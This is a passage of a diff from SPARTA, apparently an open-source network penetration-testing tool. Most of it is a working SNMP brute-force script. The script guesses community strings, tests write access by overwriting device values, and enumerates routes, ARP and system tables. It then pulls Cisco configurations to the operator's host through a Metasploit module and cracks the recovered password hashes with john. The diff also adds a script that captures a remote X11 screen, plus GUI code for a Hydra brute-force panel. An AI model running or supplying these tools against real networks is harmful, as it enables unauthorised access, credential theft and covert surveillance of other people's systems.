cls.v1 + elif v in ['v2', '2', 'v2c']: + return cls.v2c + elif v in ['v3', '3']: + return cls.v3 + raise ValueError('No such version %s' % v) + + @classmethod + def sversion(cls, v): + if not v: + return 'v1' + elif v == 1: + return 'v2c' + elif v == 2: + return 'v3' + raise ValueError('No such version number %s' % v) + +class SNMPBruteForcer(object): + #This class is used for the sploitego method of bruteforce (--sploitego) + '''Credits + Class copied from sploitego project + __original_author__ = 'Nadeem Douba' + https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py + ''' + def __init__(self, agent, port=161, version='v2c', timeout=0.5, rate=1000): + self.version = SNMPVersion.iversion(version) + self.s = socket(AF_INET, SOCK_DGRAM) + self.s.settimeout(timeout) + self.addr = (agent, port) + self.rate = rate + + def guess(self, communities): + + p = SNMP( + version=self.version, + PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) + ) + r = [] + for c in communities: + i = randint(0, 2147483647) + p.PDU.id = i + p.community = c + self.s.sendto(str(p), self.addr) + sleep(1/self.rate) + while True: + try: + p = SNMP(self.s.recvfrom(65535)[0]) + except timeout: + break + r.append(p.community.val) + return r + + def __del__(self): + self.s.close() + +class SNMPResults: + addr='' + version='' + community='' + write=False + + def __eq__(self, other): + return self.addr == other.addr and self.version == other.version and self.community == other.community + +########################################################################################################## +# Colour output functions +########################################################################################################## + +# for color output +BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8) + +#following from Python cookbook, #475186 +def has_colours(stream): + if not hasattr(stream, "isatty"): + return False + if not stream.isatty(): + return False # auto color only on TTYs + try: + import curses + curses.setupterm() + return curses.tigetnum("colors") > 2 + except: + # guess false in case of error + return False +has_colours = has_colours(sys.stdout) + +def printout(text, colour=WHITE): + + if has_colours and defaults.colour: + seq = "\x1b[1;%dm" % (30+colour) + text + "\x1b[0m\n" + sys.stdout.write(seq) + else: + #sys.stdout.write(text) + print text + + +########################################################################################################## +# +########################################################################################################## + +def banner(art=True): + if art: + print >> sys.stderr, " _____ _ ____ _______ ____ __ " + print >> sys.stderr, " / ___// | / / |/ / __ \\ / __ )_______ __/ /____ " + print >> sys.stderr, " \\__ \\/ |/ / /|_/ / /_/ / / __ / ___/ / / / __/ _ \\" + print >> sys.stderr, " ___/ / /| / / / / ____/ / /_/ / / / /_/ / /_/ __/" + print >> sys.stderr, "/____/_/ |_/_/ /_/_/ /_____/_/ \\__,_/\\__/\\___/ " + print >> sys.stderr, "" + print >> sys.stderr, "SNMP Bruteforce & Enumeration Script " + __version__ + print >> sys.stderr, "http://www.secforce.com / nikos.vassakis secforce.com" + print >> sys.stderr, "###############################################################" + print >> sys.stderr, "" + +def listener(sock,results): + while True: + try: + response,addr=SNMPrecv(sock) + except timeout: + continue + except KeyboardInterrupt: + break + except: + break + r=SNMPResults() + r.addr=addr + r.version=SNMPVersion.sversion(response.version.val) + r.community=response.community.val + results.append(r) + printout (('%s : %s \tVersion (%s):\t%s' % (str(addr[0]),str(addr[1]), SNMPVersion.sversion(response.version.val),response.community.val)),WHITE) + +def SNMPrecv(sock): + try: + recv,addr=sock.recvfrom(65535) + response = SNMP(recv) + return response,addr + except: + raise + +def SNMPsend(sock, packets, ip, port=defaults.port, community='', rate=defaults.rate): + addr = (ip, port) + for packet in packets: + i = randint(0, 2147483647) + packet.PDU.id = i + packet.community = community + sock.sendto(str(packet), addr) + sleep(1/rate) + +def SNMPRequest(result,OID, value='', TimeOut=defaults.timeOut): + s = socket(AF_INET, SOCK_DGRAM) + s.settimeout(TimeOut) + response='' + r=result + + version = SNMPVersion.iversion(r.version) + if value: + p = SNMP( + version=version, + PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID), value=value)]) + ) + else: + p = SNMP( + version=version, + PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID))]) + ) + + SNMPsend(s,p,r.addr[0],r.addr[1],r.community) + for x in range(0, 5): + try: + response,addr=SNMPrecv(s) + break + except timeout: # if request times out retry + sleep(0.5) + continue + s.close + if not response: + raise timeout + return response + +def testSNMPWrite(results,options,OID='.1.3.6.1.2.1.1.4.0'): + #Alt .1.3.6.1.2.1.1.5.0 + + setval='HASH(0xDEADBEF)' + for r in results: + try: + originalval=SNMPRequest(r,OID) + + if originalval: + originalval=originalval[SNMPvarbind].value.val + + SNMPRequest(r,OID,setval) + curval=SNMPRequest(r,OID)[SNMPvarbind].value.val + + if curval == setval: + r.write=True + try: + SNMPRequest(r,OID,originalval) + except timeout: + pass + if options.verbose: printout (('\t %s (%s) (RW)' % (r.community,r.version)),GREEN) + curval=SNMPRequest(r,OID)[SNMPvarbind].value.val + if curval != originalval: + printout(('Couldn\'t restore value to: %s (OID: %s)' % (str(originalval),str(OID))),RED) + else: + if options.verbose: printout (('\t %s (%s) (R)' % (r.community,r.version)),BLUE) + else: + r.write=None + printout (('\t %s (%s) (Failed)' % (r.community,r.version)),RED) + except timeout: + r.write=None + printout (('\t %s (%s) (Failed!)' % (r.community,r.version)),RED) + continue + +def generic_snmpwalk(snmpwalk_args,oids): + for key, val in oids.items(): + try: + printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) + entry={} + out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines() + + print '\tINFO' + print '\t----\t' + for i in out: + print '\t',i.strip() + print '\n' + except KeyboardInterrupt: + pass + +def enumerateSNMPWalk(result,options): + r=result + + snmpwalk_args=' -c "'+r.community+'" -'+r.version+' '+str(r.addr[0])+':'+str(r.addr[1]) + + ############################################################### Enumerate OS + if options.windows: + generic_snmpwalk(snmpwalk_args,WINDOWS_OIDS) + return + if options.linux: + generic_snmpwalk(snmpwalk_args,LINUX_OIDS) + return + if options.cisco: + generic_snmpwalk(snmpwalk_args,CISCO_OIDS) + + ############################################################### Enumerate CISCO Specific + ############################################################### Enumerate Routes + entry={} + out=os.popen('snmpwalk'+snmpwalk_args+' '+'.1.3.6.1.2.1.4.21.1.1'+' '+'| awk \'{print $NF}\' 2>&1''').readlines() + lines = len(out) + + printout('################## Enumerating Routing Table (snmpwalk)',YELLOW) + try: + for key, val in RouteOIDS.items(): #Enumerate Routes + #print '\t *',val[1], val[0] + out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+'| awk \'{print $NF}\' 2>&1').readlines() + + entry[val[1]]=out + + + print '\tDestination\t\tNext Hop\tMask\t\t\tMetric\tInterface\tType\tProtocol\tAge' + print '\t-----------\t\t--------\t----\t\t\t------\t---------\t----\t--------\t---' + for j in range(lines): + print( '\t'+entry['Destination'][j].strip().ljust(12,' ') + + '\t\t'+entry['Next Hop'][j].strip().ljust(12,' ') + + '\t'+entry['Mask'][j].strip().ljust(12,' ') + + '\t\t'+entry['Metric'][j].strip().center(6,' ') + + '\t'+entry['Interface'][j].strip().center(10,' ') + + '\t'+entry['Route type'][j].strip().center(4,' ') + + '\t'+entry['Route protocol'][j].strip().center(8,' ') + + '\t'+entry['Route age'][j].strip().center(3,' ') + ) + except KeyboardInterrupt: + pass + + ############################################################### Enumerate Arp + print '\n' + for key, val in ARPOIDS.items(): + try: + printout(('################## Enumerating ARP Table using: %s (%s)'%(val[0],val[1])),YELLOW) + entry={} + out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2 | cut -d\':\' -f 2').readlines() + + lines=len(out)/3 + + entry['V']=out[0*lines:1*lines] + entry['MAC']=out[1*lines:2*lines] + entry['IP']=out[2*lines:3*lines] + + + print '\tIP\t\tMAC\t\t\tV' + print '\t--\t\t---\t\t\t--' + for j in range(lines): + print( '\t'+entry['IP'][j].strip().ljust(12,' ') + + '\t'+entry['MAC'][j].strip().ljust(18,' ') + + '\t'+entry['V'][j].strip().ljust(2,' ') + ) + print '\n' + except KeyboardInterrupt: + pass + + ############################################################### Enumerate SYSTEM + for key, val in OIDS.items(): + try: + printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) + entry={} + out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines() + + print '\tINFO' + print '\t----\t' + for i in out: + print '\t',i.strip() + print '\n' + except KeyboardInterrupt: + pass + ############################################################### Enumerate Interfaces + for key, val in snmpstat_args.items(): + try: + printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) + out=os.popen('snmpnetstat'+snmpwalk_args+' '+val[0]).readlines() + + for i in out: + print '\t',i.strip() + print '\n' + except KeyboardInterrupt: + pass + +def get_cisco_config(result,options): + printout(('################## Trying to get config with: %s'% result.community),YELLOW) + + identified_ip=os.popen('ifconfig eth0 |grep "inet addr:" |cut -d ":" -f 2 |awk \'{ print $1 }\'').read() + + if options.interactive: + Local_ip = raw_input('Enter Local IP ['+str(identified_ip).strip()+']:') or identified_ip.strip() + else: + Local_ip = identified_ip.strip() + + if not (os.path.isdir("./output")): + os.popen('mkdir output') + + p=Popen('msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E ',shell=True,stdin=PIPE,stdout=PIPE, stderr=PIPE) #>/dev/null 2>&1 + + + print 'msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E ' + + out=[] + while p.poll() is None: + line=p.stdout.readline() + out.append(line) + print '\t',line.strip() + + printout('################## Passwords Found:',YELLOW) + encrypted=[] + for i in out: + if "Password" in i: + print '\t',i.strip() + if "Encrypted" in i: + encrypted.append(i.split()[-1]) + + if encrypted: + print '\nCrack encrypted password(s)?' + for i in encrypted: + print '\t',i + + #if (False if raw_input("(Y/n):").lower() == 'n' else True): + if not get_input("(Y/n):",'n',options): + + with open('./hashes', 'a') as f: + for i in encrypted: + f.write(i+'\n') + + p=Popen('john ./hashes',shell=True,stdin=PIPE,stdout=PIPE,stderr=PIPE) + while p.poll() is None: + print '\t',p.stdout.readline() + print 'Passwords Cracked:' + out=os.popen('john ./hashes --show').readlines() + for i in out: + print '\t', i.strip() + + out=[] + while p.poll() is None: + line=p.stdout.readline() + out.append(line) + print '\t',line.strip() + +def select_community(results,options): + default=None + try: + printout("\nIdentified Community strings",WHITE) + + for l,r in enumerate(results): + if r.write==True: + printout ('\t%s) %s %s (%s)(RW)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),GREEN) + default=l + elif r.write==False: + printout ('\t%s) %s %s (%s)(RO)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),BLUE) + else: + printout ('\t%s) %s %s (%s)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),RED) + + if default is None: + default = l + + if not options.enum: + return + + if options.interactive: + selection=raw_input("Select Community to Enumerate ["+str(default)+"]:") + if not selection: + selection=default + else: + selection=default + + try: + return results[int(selection)] + except: + return results[l] + except KeyboardInterrupt: + exit(0) + +def SNMPenumeration(result,options): + getcisco=defaults.getcisco + try: + printout (("\nEnumerating with READ-WRITE Community string: %s (%s)" % (result.community,result.version)),YELLOW) + enumerateSNMPWalk(result,options) + + if options.windows or options.linux: + if not get_input("Get Cisco Config (y/N):",'y',options): + getcisco=False + if getcisco: + get_cisco_config(result,options) + except KeyboardInterrupt: + print '\n' + return + +def password_brutefore(options, communities, ips): + s = socket(AF_INET, SOCK_DGRAM) + s.settimeout(options.timeOut) + + results=[] + + #Start the listener + T = threading.Thread(name='listener', target=listener, args=(s,results,)) + T.start() + + # Craft SNMP's for both versions + p1 = SNMP( + version=SNMPVersion.iversion('v1'), + PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) + ) + p2c = SNMP( + version=SNMPVersion.iversion('v2c'), + PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) + ) + + packets = [p1, p2c] + + #We try each community string + for i,community in enumerate(communities): + #sys.stdout.write('\r{0}'.format('.' * i)) + #sys.stdout.flush() + for ip in ips: + SNMPsend(s, packets, ip, options.port, community.rstrip(), options.rate) + + #We read from STDIN if necessary + if options.stdin: + while True: + try: + try: + community=raw_input().strip('\n') + for ip in ips: + SNMPsend(s, packets, ip, options.port, community, options.rate) + except EOFError: + break + except KeyboardInterrupt: + break + + try: + print "Waiting for late packets (CTRL+C to stop)" + sleep(options.timeOut+options.delay) #Waiting in case of late response + except KeyboardInterrupt: + pass + T._Thread__stop() + s.close + + #We remove any duplicates. This relies on the __equal__ + newlist = [] + for i in results: + if i not in newlist: + newlist.append(i) + return newlist + +def get_input(string,non_default_option,options): + #(True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False) + + if options.interactive: + if raw_input(string).lower() == non_default_option: + return True + else: + return False + else: + print string + return False + +def main(): + + parser = optparse.OptionParser(formatter=optparse.TitledHelpFormatter()) + + parser.set_usage("python snmp-brute.py -t -f ") + #parser.add_option('-h','--help', help='Show this help message and exit', action=parser.print_help()) + parser.add_option('-f','--file', help='Dictionary file', dest='dictionary', action='store') + parser.add_option('-t','--target', help='Host IP', dest='ip', action='store') + parser.add_option('-p','--port', help='SNMP port', dest='port', action='store', type='int',default=defaults.port) + + + groupAlt = optparse.OptionGroup(parser, "Alternative Options") + groupAlt.add_option('-s','--stdin', help='Read communities from stdin', dest='stdin', action='store_true',default=False) + groupAlt.add_option('-c','--community', help='Single Community String to use', dest='community', action='store') + groupAlt.add_option('--sploitego', help='Sploitego\'s bruteforce method', dest='sploitego', action='store_true',default=False) + + + groupAuto = optparse.OptionGroup(parser, "Automation") + groupAuto.add_option('-b','--bruteonly', help='Do not try to enumerate - only bruteforce', dest='enum', action='store_false',default=True) + groupAuto.add_option('-a','--auto', help='Non Interactive Mode', dest='interactive', action='store_false',default=True) + groupAuto.add_option('--no-colours', help='No colour output', dest='colour', action='store_false',default=True) + + groupAdvanced = optparse.OptionGroup(parser, "Advanced") + groupAdvanced.add_option('-r','--rate', help='Send rate', dest='rate', action='store',type='float', default=defaults.rate) + groupAdvanced.add_option('--timeout', help='Wait time for UDP response (in seconds)', dest='timeOut', action='store', type='float' ,default=defaults.timeOut) + groupAdvanced.add_option('--delay', help='Wait time after all packets are send (in seconds)', dest='delay', action='store', type='float' ,default=defaults.delay) + + groupAdvanced.add_option('--iplist', help='IP list file', dest='lfile', action='store') + groupAdvanced.add_option('-v','--verbose', help='Verbose output', dest='verbose', action='store_true',default=False) + + groupOS = optparse.OptionGroup(parser, "Operating Systems") + groupOS.add_option('--windows', help='Enumerate Windows OIDs (snmpenum.pl)', dest='windows', action='store_true',default=False) + groupOS.add_option('--linux', help='Enumerate Linux OIDs (snmpenum.pl)', dest='linux', action='store_true',default=False) + groupOS.add_option('--cisco', help='Append extra Cisco OIDs (snmpenum.pl)', dest='cisco', action='store_true',default=False) + + parser.add_option_group(groupAdvanced) + parser.add_option_group(groupAuto) + parser.add_option_group(groupOS) + parser.add_option_group(groupAlt) + + (options, arguments) = parser.parse_args() + + communities=[] + ips=[] + + banner(options.colour) #For SPARTA!!! + + if not options.ip and not options.lfile: + #Can't continue without target + parser.print_help() + exit(0) + else: + # Create the list of targets + if options.lfile: + try: + with open(options.lfile) as t: + ips = t.read().splitlines() #Potential DoS + except: + print "Could not open targets file: " + options.lfile + exit(0) + else: + ips.append(options.ip) + + if not options.colour: + defaults.colour=False + + # Create the list of communities + if options.dictionary: # Read from file + with open(options.dictionary) as f: + communities=f.read().splitlines() #Potential DoS + elif options.community: # Single community + communities.append(options.community) + elif options.stdin: # Read from input + communities=[] + else: #if not options.community and not options.dictionary and not options.stdin: + communities=default_communities + + #We ensure that default communities are included + #if 'public' not in communities: + # communities.append('public') + #if 'private' not in communities: + # communities.append('private') + + if options.stdin: + options.interactive=False + + results=[] + + if options.stdin: + print >> sys.stderr, "Reading input for community strings ..." + else: + print >> sys.stderr, "Trying %d community strings ..." % len(communities) + + if options.sploitego: #sploitego method of bruteforce + if ips: + for ip in ips: + for version in ['v1', 'v2c']: + bf = SNMPBruteForcer(ip, options.port, version, options.timeOut,options.rate) + result=bf.guess(communities) + for i in result: + r=SNMPResults() + r.addr=(ip,options.port) + r.version=version + r.community=i + results.append(r) + print ip, version+'\t',result + else: + parser.print_help() + + else: + results = password_brutefore(options, communities, ips) + + #We identify whether the community strings are read or write + if results: + printout("\nTrying identified strings for READ-WRITE ...",WHITE) + testSNMPWrite(results,options) + else: + printout("\nNo Community strings found",RED) + exit(0) + + #We attempt to enumerate the router + while options.enum: + SNMPenumeration(select_community(results,options),options) + + #if (True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False): + if get_input("Enumerate with different community? (y/N):",'y',options): + continue + else: + break + + if not options.enum: + select_community(results,options) + + print "Finished!" + +if __name__ == "__main__": + main() diff --git a/scripts/x11screenshot.sh b/scripts/x11screenshot.sh new file mode 100644 index 00000000..9119dfdd --- /dev/null +++ b/scripts/x11screenshot.sh @@ -0,0 +1,33 @@ +#!/bin/bash +# X11screenshot- This script will take a screenshot over X11, save it to an output folder and open it +# SECFORCE - Antonio Quina + +if [ $# -eq 0 ] + then + echo "Usage: $0 " + echo "eg: $0 10.10.10.10 0 /outputfolder" + exit + else + IP="$1" +fi + +if [ "$2" == "" ] + then + DSP="0" + else + DSP="$2" +fi + +if [ "$3" == "" ] + then + OUTFOLDER="/tmp" + else + OUTFOLDER="$3" +fi + +echo "xwd -root -screen -silent -display $IP:$DSP > $OUTFOLDER/x11screenshot-$IP.xwd" +xwd -root -screen -silent -display $IP:$DSP > $OUTFOLDER/x11screenshot-$IP.xwd +echo "convert $OUTFOLDER/x11screenshot-$IP.xwd $OUTFOLDER/x11screenshot-$IP.jpg" +convert $OUTFOLDER/x11screenshot-$IP.xwd $OUTFOLDER/x11screenshot-$IP.jpg +echo "eog $OUTFOLDER/x11screenshot-$IP.jpg" +eog $OUTFOLDER/x11screenshot-$IP.jpg \ No newline at end of file diff --git a/ui/__init__.py b/ui/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/ui/dialogs.py b/ui/dialogs.py new file mode 100644 index 00000000..d458b64d --- /dev/null +++ b/ui/dialogs.py @@ -0,0 +1,836 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import os +from PyQt4.QtGui import * # for filters dialog +from app.auxiliary import * # for timestamps +from six import u as unicode + +# progress bar widget that displayed when long operations are taking place (eg: nmap, opening project) +class ProgressWidget(QtGui.QDialog): + def __init__(self, text, parent=None): + QtGui.QDialog.__init__(self, parent) + self.text = text + self.setWindowTitle(text) + self.setupLayout() + + def setupLayout(self): + self.setWindowModality(True) + vbox = QtGui.QVBoxLayout() + self.label = QtGui.QLabel('') + self.progressBar = QtGui.QProgressBar() + vbox.addWidget(self.label) + vbox.addWidget(self.progressBar) + hbox = QtGui.QHBoxLayout() + hbox.addStretch(1) + vbox.addLayout(hbox) + self.setLayout(vbox) + + def setProgress(self, progress): + self.progressBar.setValue(progress) + + def setText(self, text): + self.text = text + self.setWindowTitle(text) + + def reset(self, text): + self.text = text + self.setWindowTitle(text) + self.setProgress(0) + +# this class is used to display screenshots and perform zoom operations on the images +class ImageViewer(QtGui.QWidget): + def __init__(self, parent=None): + QtGui.QWidget.__init__(self, parent) + + self.scaleFactor = 0.0 + + self.imageLabel = QtGui.QLabel() + self.imageLabel.setBackgroundRole(QtGui.QPalette.Base) + self.imageLabel.setSizePolicy(QtGui.QSizePolicy.Ignored, QtGui.QSizePolicy.Ignored) + self.imageLabel.setScaledContents(True) + + self.scrollArea = QtGui.QScrollArea() + self.scrollArea.setBackgroundRole(QtGui.QPalette.Dark) + self.scrollArea.setWidget(self.imageLabel) + + def open(self, fileName): + if fileName: + image = QtGui.QImage(fileName) + if image.isNull(): + QtGui.QMessageBox.information(self, "Image Viewer","Cannot load %s." % fileName) + return + + self.imageLabel.setPixmap(QtGui.QPixmap.fromImage(image)) + self.scaleFactor = 1.0 + self.fitToWindow() # by default, fit to window/widget size + + def zoomIn(self): + self.scaleImage(1.25) + + def zoomOut(self): + self.scaleImage(0.8) + + def normalSize(self): + self.fitToWindow(False) + self.imageLabel.adjustSize() + self.scaleFactor = 1.0 + + def fitToWindow(self, fit=True): + self.scrollArea.setWidgetResizable(fit) + + def scaleImage(self, factor): + self.fitToWindow(False) + self.scaleFactor *= factor + self.imageLabel.resize(self.scaleFactor * self.imageLabel.pixmap().size()) + + self.adjustScrollBar(self.scrollArea.horizontalScrollBar(), factor) + self.adjustScrollBar(self.scrollArea.verticalScrollBar(), factor) + + def adjustScrollBar(self, scrollBar, factor): + scrollBar.setValue(int(factor * scrollBar.value() + ((factor - 1) * scrollBar.pageStep()/2))) + +# this class is used to display the process status GIFs +class ImagePlayer(QtGui.QWidget): + def __init__(self, filename, parent=None): + QtGui.QWidget.__init__(self, parent) + self.movie = QtGui.QMovie(filename) # load the file into a QMovie + self.movie_screen = QtGui.QLabel() + self.movie_screen.setSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding) + main_layout = QtGui.QVBoxLayout() + main_layout.addWidget(self.movie_screen) + self.setLayout(main_layout) + self.movie.setCacheMode(QtGui.QMovie.CacheAll) + self.movie.setSpeed(100) + self.movie_screen.setMovie(self.movie) + self.movie.start() +# self.show() + +# dialog shown when the user selects "Add host(s)" from the menu +class AddHostsDialog(QtGui.QDialog): + def __init__(self, parent=None): + QtGui.QDialog.__init__(self, parent) + self.setupLayout() + + def setupLayout(self): + self.setModal(True) + self.setWindowTitle('Add host(s) to scope') + self.setFixedSize(340, 210) + + self.flayout = QtGui.QVBoxLayout() + + self.label1 = QtGui.QLabel(self) + self.label1.setText('IP Range') + self.textinput = QtGui.QLineEdit(self) + self.hlayout = QtGui.QHBoxLayout() + self.hlayout.addWidget(self.label1) + self.hlayout.addWidget(self.textinput) + + self.label2 = QtGui.QLabel(self) + self.label2.setText('eg: 192.168.1.0/24 10.10.10.10-20 1.2.3.4 ') + self.font = QtGui.QFont('Arial', 10) + self.label2.setFont(self.font) + self.label2.setAlignment(Qt.AlignRight) + self.spacer = QSpacerItem(15,15) + ### + self.validationLabel = QtGui.QLabel(self) + self.validationLabel.setText('Invalid input. Please try again!') + self.validationLabel.setStyleSheet('QLabel { color: red }') + ### + self.spacer2 = QSpacerItem(5,5) + + self.discovery = QtGui.QCheckBox(self) + self.discovery.setText('Run nmap host discovery') + self.discovery.toggle() # on by default + self.nmap = QtGui.QCheckBox(self) + self.nmap.setText('Run staged nmap scan') + self.nmap.toggle() # on by default + + self.cancelButton = QPushButton('Cancel', self) + self.cancelButton.setMaximumSize(110, 30) + self.addButton = QPushButton('Add to scope', self) + self.addButton.setMaximumSize(110, 30) + self.addButton.setDefault(True) + self.hlayout2 = QtGui.QHBoxLayout() + self.hlayout2.addWidget(self.cancelButton) + self.hlayout2.addWidget(self.addButton) + self.flayout.addLayout(self.hlayout) + self.flayout.addWidget(self.label2) + ### + self.flayout.addWidget(self.validationLabel) + self.validationLabel.hide() + ### + self.flayout.addItem(self.spacer) + self.flayout.addWidget(self.discovery) + self.flayout.addWidget(self.nmap) + self.flayout.addItem(self.spacer2) + self.flayout.addLayout(self.hlayout2) + self.setLayout(self.flayout) + +class BruteWidget(QtGui.QWidget): + + def __initold__(self, ip, port, service, hydraServices, hydraNoUsernameServices, hydraNoPasswordServices, bruteSettings, generalSettings, parent=None): + QtGui.QWidget.__init__(self, parent) + self.ip = ip + self.port = port + self.service = service + self.hydraServices = hydraServices + self.hydraNoUsernameServices = hydraNoUsernameServices + self.hydraNoPasswordServices = hydraNoPasswordServices + self.bruteSettings = bruteSettings + self.generalSettings = generalSettings + self.pid = -1 # will store hydra's pid so we can kill it + self.setupLayout() + + self.browseUsersButton.clicked.connect(lambda: self.wordlistDialog()) + self.browsePasswordsButton.clicked.connect(lambda: self.wordlistDialog('Choose password list')) + self.usersTextinput.textEdited.connect(self.singleUserRadio.toggle) + self.passwordsTextinput.textEdited.connect(self.singlePassRadio.toggle) + self.userlistTextinput.textEdited.connect(self.userListRadio.toggle) + self.passlistTextinput.textEdited.connect(self.passListRadio.toggle) + self.checkAddMoreOptions.stateChanged.connect(self.showMoreOptions) + + def __init__(self, ip, port, service, settings, parent=None): + QtGui.QWidget.__init__(self, parent) + self.ip = ip + self.port = port + self.service = service + +# self.hydraServices = hydraServices +# self.hydraNoUsernameServices = hydraNoUsernameServices +# self.hydraNoPasswordServices = hydraNoPasswordServices +# self.bruteSettings = bruteSettings +# self.generalSettings = generalSettings + self.settings = settings + self.pid = -1 # will store hydra's pid so we can kill it + self.setupLayout() + + self.browseUsersButton.clicked.connect(lambda: self.wordlistDialog()) + self.browsePasswordsButton.clicked.connect(lambda: self.wordlistDialog('Choose password list')) + self.usersTextinput.textEdited.connect(self.singleUserRadio.toggle) + self.passwordsTextinput.textEdited.connect(self.singlePassRadio.toggle) + self.userlistTextinput.textEdited.connect(self.userListRadio.toggle) + self.passlistTextinput.textEdited.connect(self.passListRadio.toggle) + self.checkAddMoreOptions.stateChanged.connect(self.showMoreOptions) + + def setupLayout(self): + + # sometimes nmap service name is different from hydra service name + if self.service is None: + self.service = '' + elif self.service == "login": + self.service = "rlogin" + elif self.service == "ms-sql-s": + self.service = "mssql" + elif self.service == "ms-wbt-server": + self.service = "rdp" + elif self.service == "netbios-ssn" or self.service == "netbios-ns" or self.service == "microsoft-ds": + self.service = "smb" + elif self.service == "postgresql": + self.service = "postgres" + elif self.service == "vmware-auth": + self.service = "vmauthd" + + self.label1 = QtGui.QLabel() + self.label1.setText('IP') + #self.label1.setFixedWidth(10) # experimental + #self.label1.setAlignment(Qt.AlignLeft) + self.ipTextinput = QtGui.QLineEdit() + self.ipTextinput.setText(str(self.ip)) + self.ipTextinput.setFixedWidth(125) + + self.label2 = QtGui.QLabel() + self.label2.setText('Port') + #self.label2.setFixedWidth(10) # experimental + #self.label2.setAlignment(Qt.AlignLeft) + self.portTextinput = QtGui.QLineEdit() + self.portTextinput.setText(str(self.port)) + self.portTextinput.setFixedWidth(60) + + self.label3 = QtGui.QLabel() + self.label3.setText('Service') + #self.label3.setFixedWidth(10) # experimental + #self.label3.setAlignment(Qt.AlignLeft) + self.serviceComboBox = QtGui.QComboBox() + self.serviceComboBox.insertItems(0, self.settings.brute_services.split(",")) + self.serviceComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); + + # autoselect service from combo box + for i in range(len(self.settings.brute_services.split(","))): + if str(self.service) in self.settings.brute_services.split(",")[i]: + self.serviceComboBox.setCurrentIndex(i) + break + +# self.labelPath = QtGui.QLineEdit() # this is the extra input field to insert the path to brute force +# self.labelPath.setFixedWidth(800) +# self.labelPath.setText('/') + + self.runButton = QPushButton('Run') + self.runButton.setMaximumSize(110, 30) + self.runButton.setDefault(True) # new + + ### + self.validationLabel = QtGui.QLabel(self) + self.validationLabel.setText('Invalid input. Please try again!') + self.validationLabel.setStyleSheet('QLabel { color: red }') + ### + + self.hlayout = QtGui.QHBoxLayout() + self.hlayout.addWidget(self.label1) + self.hlayout.addWidget(self.ipTextinput) + self.hlayout.addWidget(self.label2) + self.hlayout.addWidget(self.portTextinput) + self.hlayout.addWidget(self.label3) + self.hlayout.addWidget(self.serviceComboBox) + self.hlayout.addWidget(self.runButton) + ### + self.hlayout.addWidget(self.validationLabel) + self.validationLabel.hide() + ### + self.hlayout.addStretch() + + self.singleUserRadio = QtGui.QRadioButton() + self.label4 = QtGui.QLabel() + self.label4.setText('Username') + self.label4.setFixedWidth(70) + self.usersTextinput = QtGui.QLineEdit() + self.usersTextinput.setFixedWidth(125) + self.usersTextinput.setText(self.settings.brute_default_username) + self.userListRadio = QtGui.QRadioButton() + self.label5 = QtGui.QLabel() + self.label5.setText('Username list') + self.label5.setFixedWidth(90) + self.userlistTextinput = QtGui.QLineEdit() + self.userlistTextinput.setFixedWidth(125) + self.browseUsersButton = QPushButton('Browse') + self.browseUsersButton.setMaximumSize(80, 30) + + self.foundUsersRadio = QtGui.QRadioButton() + self.label9 = QtGui.QLabel() + self.label9.setText('Found usernames') + self.label9.setFixedWidth(117) + + self.userGroup = QtGui.QButtonGroup() + self.userGroup.addButton(self.singleUserRadio) + self.userGroup.addButton(self.userListRadio) + self.userGroup.addButton(self.foundUsersRadio) + self.foundUsersRadio.toggle() + + self.hlayout2 = QtGui.QHBoxLayout() + self.hlayout2.addWidget(self.singleUserRadio) + self.hlayout2.addWidget(self.label4) + self.hlayout2.addWidget(self.usersTextinput) + self.hlayout2.addWidget(self.userListRadio) + self.hlayout2.addWidget(self.label5) + self.hlayout2.addWidget(self.userlistTextinput) + self.hlayout2.addWidget(self.browseUsersButton) + self.hlayout2.addWidget(self.foundUsersRadio) + self.hlayout2.addWidget(self.label9) + self.hlayout2.addStretch() + + #add usernames wordlist 